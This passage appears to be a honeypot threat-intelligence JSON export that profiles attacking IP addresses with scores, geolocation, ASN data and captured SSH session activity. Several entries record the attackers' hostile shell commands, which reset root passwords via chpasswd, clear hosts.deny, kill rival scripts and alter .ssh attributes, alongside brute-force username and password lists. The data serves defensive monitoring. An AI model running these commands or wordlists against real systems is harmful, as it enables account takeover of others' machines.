      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T03:06:45.155000+00:00",
        "last_seen_30d": "2026-03-25T03:19:34.799000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "77.191.8.53": {
      "attack_count": 2,
      "first_seen": "2026-03-30T01:15:02.059Z",
      "last_seen": "2026-03-30T01:15:16.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T01:15:02.059000+00:00",
        "last_seen_30d": "2026-03-30T01:16:19.353000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.128.114.118": {
      "attack_count": 2,
      "first_seen": "2026-03-09T07:23:46.959Z",
      "last_seen": "2026-03-09T07:23:48.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 50360,
      "as_org": "Tamatiya EOOD",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T07:23:46.959000+00:00",
        "last_seen_30d": "2026-03-12T06:50:08.762000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "91.230.168.255": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:06:19.524Z",
      "last_seen": "2026-03-24T21:06:22.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T15:03:30+00:00",
        "last_seen_30d": "2026-03-31T03:17:18.583000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 37,
        "Cowrie": 2
      }
    },
    "34.202.44.37": {
      "attack_count": 1,
      "first_seen": "2026-03-29T00:46:54.383Z",
      "last_seen": "2026-03-29T00:46:54.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T00:46:54.383000+00:00",
        "last_seen_30d": "2026-03-29T00:48:03.143000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2,
        "Cowrie": 1
      }
    },
    "134.122.33.134": {
      "attack_count": 2090,
      "first_seen": "2026-03-03T01:30:37.985Z",
      "last_seen": "2026-03-03T05:04:59.796Z",
      "sessions": 417,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "apache",
        "backup",
        "centos",
        "debian",
        "ec2-user",
        "es",
        "ftp",
        "guest",
        "mysql",
        "newuser",
        "nginx",
        "oracle",
        "pi",
        "postgres",
        "redhat",
        "server",
        "support",
        "tempuser"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "apache"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2969,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:30:37.985000+00:00",
        "last_seen_30d": "2026-03-03T05:06:05.438000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2090,
        "Suricata": 879
      }
    },
    "165.232.163.9": {
      "attack_count": 705,
      "first_seen": "2026-03-02T14:24:42.508Z",
      "last_seen": "2026-03-23T13:38:40.716Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdul",
        "rramirez",
        "tania",
        "terraria",
        "ve",
        "abhishek",
        "anaconda",
        "apagar",
        "bitrix",
        "comp",
        "comunicacao",
        "daniela",
        "dario",
        "db2inst",
        "jupyter",
        "kishore",
        "matlab",
        "mega"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1234",
        "123456",
        "12345678",
        "123",
        "123qweasd",
        "1qaz0okm",
        "5tgbNHY^",
        "Ab@123456",
        "Abdul",
        "Ah123456.",
        "Apagar123",
        "Bn123456@",
        "Comp123",
        "Db2inst123",
        "Ea8ek&ahP4ke_",
        "Oracle@123456",
        "Password0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nK8Nq5XV7iS2O\\nK8Nq5XV7iS2O\\n\"|passwd",
        "echo \"123456\\nQYTsaHCvePKI\\nQYTsaHCvePKI\\n\"|passwd",
        "echo \"password\\nKdQTfefEbcFh\\nKdQTfefEbcFh\\n\"|passwd",
        "echo \"root:4pBFFsjuh5xC\"|chpasswd|bash",
        "echo \"root:LY8CKDPA6j9d\"|chpasswd|bash",
        "echo \"root:bKGQfUeJUWFJ\"|chpasswd|bash",
        "echo \"ve123\\nKsgOPK9Mo6mE\\nKsgOPK9Mo6mE\\n\"|passwd",
        "echo -e \"12345678\\nK8Nq5XV7iS2O\\nK8Nq5XV7iS2O\"|passwd|bash",
        "echo -e \"123456\\nQYTsaHCvePKI\\nQYTsaHCvePKI\"|passwd|bash",
        "echo -e \"password\\nKdQTfefEbcFh\\nKdQTfefEbcFh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 842,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:24:42.508000+00:00",
        "last_seen_30d": "2026-03-23T13:39:43.677000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 705,
        "Suricata": 137
      }
    },
    "117.216.143.31": {
      "attack_count": 538,
      "first_seen": "2026-03-06T02:59:05.955Z",
      "last_seen": "2026-03-29T21:21:59.634Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "remoteuser",
        "abc",
        "arm",
        "chat",
        "claude",
        "nuc",
        "reza",
        "sm",
        "user10",
        "web_admin"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "!QA@WS#ED$RF",
        "!qaz@wsx3",
        "123",
        "1234",
        "123qwer!",
        "1q1q1q1q!",
        "1qaz-2wsx",
        "202524",
        "3245gs5662d34",
        "6yhn7ujm8ik,",
        "@admin1234",
        "Arm123!",
        "As123456",
        "Bulldogs77",
        "Chanel",
        "Charlie92",
        "Dancer",
        "Danger1",
        "Dev@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n9qctAGrcr7vQ\\n9qctAGrcr7vQ\\n\"|passwd",
        "echo \"remoteuserpass\\nx5Lj1GKbPIBk\\nx5Lj1GKbPIBk\\n\"|passwd",
        "echo \"root:6JSgIdVQqz1g\"|chpasswd|bash",
        "echo \"root:kRkhHBnKu4Wu\"|chpasswd|bash",
        "echo \"sm123\\nZvEGTH1cIN7z\\nZvEGTH1cIN7z\\n\"|passwd",
        "echo -e \"1234\\n9qctAGrcr7vQ\\n9qctAGrcr7vQ\"|passwd|bash",
        "echo -e \"remoteuserpass\\nx5Lj1GKbPIBk\\nx5Lj1GKbPIBk\"|passwd|bash",
        "echo -e \"sm123\\nZvEGTH1cIN7z\\nZvEGTH1cIN7z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Alappuzha",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:59:05.955000+00:00",
        "last_seen_30d": "2026-03-29T21:23:01.258000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 538,
        "Suricata": 128
      }
    },
    "185.196.11.83": {
      "attack_count": 534,
      "first_seen": "2026-03-11T13:10:18.540Z",
      "last_seen": "2026-03-30T07:59:24.495Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "joshua",
        "n8n",
        "bai",
        "desktop",
        "efs",
        "jagdish",
        "keycloak",
        "odoo12",
        "pp",
        "proradis",
        "simone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "0000000000000000",
        "1234",
        "12345",
        "123456",
        "1234567aA",
        "25257758",
        "@!qwer123",
        "ABC123456",
        "Aa123654",
        "Abc@12345678",
        "Admin123!@",
        "Bai123!",
        "Jelszo1234",
        "Joshua123!",
        "Lv123456",
        "Microsoft!",
        "Nx123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Joshua123!\\nrgrVTRsd2eXU\\nrgrVTRsd2eXU\\n\"|passwd",
        "echo \"n8n\\n5fPF3OLyZG6S\\n5fPF3OLyZG6S\\n\"|passwd",
        "echo \"root:EC1XKs8MKUlB\"|chpasswd|bash",
        "echo \"root:QPwxl0EnkVHW\"|chpasswd|bash",
        "echo -e \"Joshua123!\\nrgrVTRsd2eXU\\nrgrVTRsd2eXU\"|passwd|bash",
        "echo -e \"n8n\\n5fPF3OLyZG6S\\n5fPF3OLyZG6S\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 681,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:10:18.540000+00:00",
        "last_seen_30d": "2026-03-30T08:00:29.873000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 534,
        "Suricata": 147
      }
    },
    "105.27.148.94": {
      "attack_count": 499,
      "first_seen": "2026-03-11T02:14:26.454Z",
      "last_seen": "2026-03-22T21:31:17.254Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "appuser",
        "arkserver",
        "flutter",
        "oneadmin",
        "api",
        "app",
        "arm",
        "astro",
        "asus",
        "bot",
        "botuser",
        "clawd",
        "coolify",
        "diego",
        "es",
        "flussonic",
        "gbase",
        "informix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "12345678",
        "1234",
        "123",
        "Admin123@",
        "Api123",
        "App123!",
        "Arkserver123!",
        "Flutter123",
        "Macha123",
        "N123",
        "Start123",
        "appuser",
        "astro1234",
        "coolify1234",
        "diegopass",
        "moon123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Arkserver123!\\n3gy9qtgeEgcu\\n3gy9qtgeEgcu\\n\"|passwd",
        "echo \"Flutter123\\nF2cLWuTSeTKi\\nF2cLWuTSeTKi\\n\"|passwd",
        "echo \"appuser\\nyBMZoK0byRjF\\nyBMZoK0byRjF\\n\"|passwd",
        "echo \"password\\nGFCv4ceaN8rz\\nGFCv4ceaN8rz\\n\"|passwd",
        "echo \"root:ZweeKkmjhKqB\"|chpasswd|bash",
        "echo -e \"Arkserver123!\\n3gy9qtgeEgcu\\n3gy9qtgeEgcu\"|passwd|bash",
        "echo -e \"Flutter123\\nF2cLWuTSeTKi\\nF2cLWuTSeTKi\"|passwd|bash",
        "echo -e \"appuser\\nyBMZoK0byRjF\\nyBMZoK0byRjF\"|passwd|bash",
        "echo -e \"password\\nGFCv4ceaN8rz\\nGFCv4ceaN8rz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37100,
      "as_org": "SEACOM-AS",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 593,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:14:26.454000+00:00",
        "last_seen_30d": "2026-03-22T21:32:26.294000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 499,
        "Suricata": 94
      }
    },
    "171.231.193.30": {
      "attack_count": 481,
      "first_seen": "2026-03-14T12:52:15.063Z",
      "last_seen": "2026-03-14T13:27:30.740Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "ubnt",
        "cisco",
        "ftp",
        "support",
        "*****",
        "1234",
        "123456",
        "ace",
        "anton",
        "auto",
        "backup",
        "bin",
        "brenda",
        "cf1c22",
        "client",
        "db2inst2",
        "developer"
      ],
      "passwords_attempted": [
        "password",
        "admin",
        "1234",
        "12345",
        "123456",
        "12345678",
        "abc123",
        "admin123",
        "*****",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "112233",
        "123",
        "1234567890%*()",
        "91482d",
        "Deadstar!",
        "abcd1234",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 680,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T12:52:15.063000+00:00",
        "last_seen_30d": "2026-03-14T13:28:36.377000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 481,
        "Suricata": 199
      }
    },
    "146.190.153.246": {
      "attack_count": 442,
      "first_seen": "2026-03-02T05:25:04.418Z",
      "last_seen": "2026-03-18T01:33:48.899Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "remoteuser",
        "xray",
        "alpha",
        "dhkim",
        "kafka",
        "kobo",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "121314",
        "A123456!",
        "ASD123asd",
        "Alpha123!",
        "Aq123456",
        "Dhkim123!",
        "Mm12345",
        "aA12345678",
        "avalon",
        "linux",
        "q1w2e3r4!@#$",
        "qwe123ASD",
        "remoteuser123!",
        "root2026@",
        "taiwan",
        "user123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nPdMsFqJJu2ay\\nPdMsFqJJu2ay\\n\"|passwd",
        "echo \"remoteuser123!\\nibLuBQ7UXMFS\\nibLuBQ7UXMFS\\n\"|passwd",
        "echo \"root:3QjjXk3iZZhe\"|chpasswd|bash",
        "echo \"root:AllVAt1oUyJs\"|chpasswd|bash",
        "echo \"root:ndTX1HXq3WTS\"|chpasswd|bash",
        "echo -e \"123456\\nPdMsFqJJu2ay\\nPdMsFqJJu2ay\"|passwd|bash",
        "echo -e \"remoteuser123!\\nibLuBQ7UXMFS\\nibLuBQ7UXMFS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 510,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:25:04.418000+00:00",
        "last_seen_30d": "2026-03-18T01:34:53.342000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 68
      }
    },
    "213.209.159.158": {
      "attack_count": 395,
      "first_seen": "2026-03-06T12:46:16.797Z",
      "last_seen": "2026-03-30T15:00:33.591Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "db2inst1",
        "r00t",
        "zookeeper",
        "alina",
        "backup",
        "checkuser",
        "develop",
        "huangwei",
        "siteadmin",
        "solr",
        "student7",
        "test01",
        "user14",
        "wildfly"
      ],
      "passwords_attempted": [
        "123456789",
        "8888",
        "Root123123123",
        "Welcome2023$",
        "Welcome3",
        "ZAQ!1qaz",
        "ZXCvbn123",
        "Zjzy_12!",
        "db2inst1",
        "r00t123",
        "root1958",
        "shailesh",
        "vagrant",
        "web",
        "zookeeper",
        ",ki8.lo9",
        "Uz",
        "W101010",
        "Worker",
        "Za123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_upload",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 581,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:58:09.395000+00:00",
        "last_seen_30d": "2026-03-31T16:36:53.580000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 395,
        "Suricata": 186
      }
    },
    "152.32.172.161": {
      "attack_count": 373,
      "first_seen": "2026-03-04T09:08:27.065Z",
      "last_seen": "2026-03-15T20:22:48.988Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "simeon",
        "ehsan",
        "ken",
        "onlyoffice",
        "viewtinet",
        "vip1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123456User!!",
        "2424!123",
        "@dmin!12",
        "@dmin24!@#",
        "A123456.",
        "A@123456",
        "Hellohello1#",
        "Huawei1234",
        "Pass!@#2024",
        "Passwd",
        "Password1234",
        "QWE123456!!",
        "Server@2026",
        "Support123",
        "a.331812",
        "a8zq49c"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nySY8TG7Ixnqo\\nySY8TG7Ixnqo\\n\"|passwd",
        "echo \"Password1234\\n9jNHNErjbPwq\\n9jNHNErjbPwq\\n\"|passwd",
        "echo \"root:YnkYHNQkTQoE\"|chpasswd|bash",
        "echo -e \"12345678\\nySY8TG7Ixnqo\\nySY8TG7Ixnqo\"|passwd|bash",
        "echo -e \"Password1234\\n9jNHNErjbPwq\\n9jNHNErjbPwq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
